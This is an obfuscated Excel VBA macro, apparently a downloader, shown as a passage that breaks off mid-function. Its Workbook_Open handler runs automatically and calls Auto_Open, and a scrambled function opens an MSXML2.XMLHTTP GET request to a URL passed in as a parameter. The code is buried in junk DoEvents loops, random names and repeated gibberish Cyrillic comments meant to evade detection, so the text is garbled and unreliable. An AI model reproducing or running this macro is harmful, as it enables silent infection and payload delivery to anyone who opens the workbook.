3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи End Sub 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Sub Workbook_Open() 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim MiCPjptG, oVzfxWjc, QpjiylNJ As String 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim URNleUyx As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи For URNleUyx = 0 To 5 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim ZtRTfTkD As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи ZtRTfTkD = 9 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Do While ZtRTfTkD < 94 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents: ZtRTfTkD = ZtRTfTkD + 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Loop 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Next URNleUyx 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim ZyAJxEeW As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи ZyAJxEeW = 9 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Do While ZyAJxEeW < 94 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents: ZyAJxEeW = ZyAJxEeW + 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Loop 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи MiCPjptG = " DDVYKG " 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim fSggyNjC As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи For fSggyNjC = 0 To 7 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim LynMfoBJ As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи LynMfoBJ = 3 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Do While LynMfoBJ < 96 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents: LynMfoBJ = LynMfoBJ + 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Loop 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Next fSggyNjC 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim kjtZzlUV As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи kjtZzlUV = 7 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Do While kjtZzlUV < 47 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents: kjtZzlUV = kjtZzlUV + 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Loop 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи oVzfxWjc = LTrim(MiCPjptG) 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim FSFjcFGy As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи For FSFjcFGy = 0 To 8 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim CSdXxQaT As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи CSdXxQaT = 3 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Do While CSdXxQaT < 49 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents: CSdXxQaT = CSdXxQaT + 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Loop 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Next FSFjcFGy 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim mXKncsJj As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи mXKncsJj = 8 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Do While mXKncsJj < 82 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents: mXKncsJj = mXKncsJj + 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Loop 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи QpjiylNJ = RTrim(oVzfxWjc) 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim ojPIolGX As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи For ojPIolGX = 0 To 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim HnSNTzIM As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи HnSNTzIM = 2 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Do While HnSNTzIM < 37 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents: HnSNTzIM = HnSNTzIM + 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Loop 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Next ojPIolGX 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim fQkTYZcR As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи fQkTYZcR = 7 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Do While fQkTYZcR < 79 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents: fQkTYZcR = fQkTYZcR + 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Loop 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Auto_Open 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи End Sub 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Function IMUIYYHSENO(ByVal GEDIDDOFCEM As String, ByVal SVSFBJWJRZL As String) As Boolean 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim TJOBKMBJGJF As Object, YPJANLORALH As Long, WTYQSWXVUVO As Long, UKUUBTBDTYD() As Byte 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim xdlDrTDb, mVXbzUlV, YrIZEmxo As String 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim cIyXUNTf As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи For cIyXUNTf = 0 To 3 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim fFrErruU As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи fFrErruU = 6 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Do While fFrErruU < 71 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents: fFrErruU = fFrErruU + 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Loop 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Next cIyXUNTf 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim jmSVFdGh As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи jmSVFdGh = 7 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Do While jmSVFdGh < 76 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents: jmSVFdGh = jmSVFdGh + 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Loop 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи xdlDrTDb = " OKCEHJ " 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim CIRzSbCK As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи For CIRzSbCK = 0 To 4 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim BxRRvnVK As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи BxRRvnVK = 4 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Do While BxRRvnVK < 75 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents: BxRRvnVK = BxRRvnVK + 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Loop 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Next CIRzSbCK 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim nfLxGXEc As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи nfLxGXEc = 9 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Do While nfLxGXEc < 67 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents: nfLxGXEc = nfLxGXEc + 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Loop 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи mVXbzUlV = LTrim(xdlDrTDb) 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim QrsvmPDi As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи For QrsvmPDi = 0 To 6 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim IxZLNSHQ As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи IxZLNSHQ = 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Do While IxZLNSHQ < 16 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents: IxZLNSHQ = IxZLNSHQ + 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Loop 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Next QrsvmPDi 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim pdJQjowj As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи pdJQjowj = 6 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Do While pdJQjowj < 65 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents: pdJQjowj = pdJQjowj + 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Loop 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи YrIZEmxo = RTrim(mVXbzUlV) 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim TFNYYJGI As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи For TFNYYJGI = 0 To 5 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim IcmvDWeG As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи IcmvDWeG = 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Do While IcmvDWeG < 17 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents: IcmvDWeG = IcmvDWeG + 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Loop 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Next TFNYYJGI 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim pgPjrjIm As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи pgPjrjIm = 6 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Do While pgPjrjIm < 65 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents: pgPjrjIm = pgPjrjIm + 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Loop 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Set TJOBKMBJGJF = CreateObject("MSXML2.XMLHTTP") 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи TJOBKMBJGJF.Open "GET", GEDIDDOFCEM, False 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim UhXsCliE, EjyckcTR, vjjPSAeT As String 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim BZzchwdR As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи For BZzchwdR = 0 To 5 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim olhHRWIi As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи olhHRWIi = 6 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Do While olhHRWIi < 28 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents: olhHRWIi = olhHRWIi + 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Loop 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Next BZzchwdR 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim EzJFiQEw As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи EzJFiQEw = 9 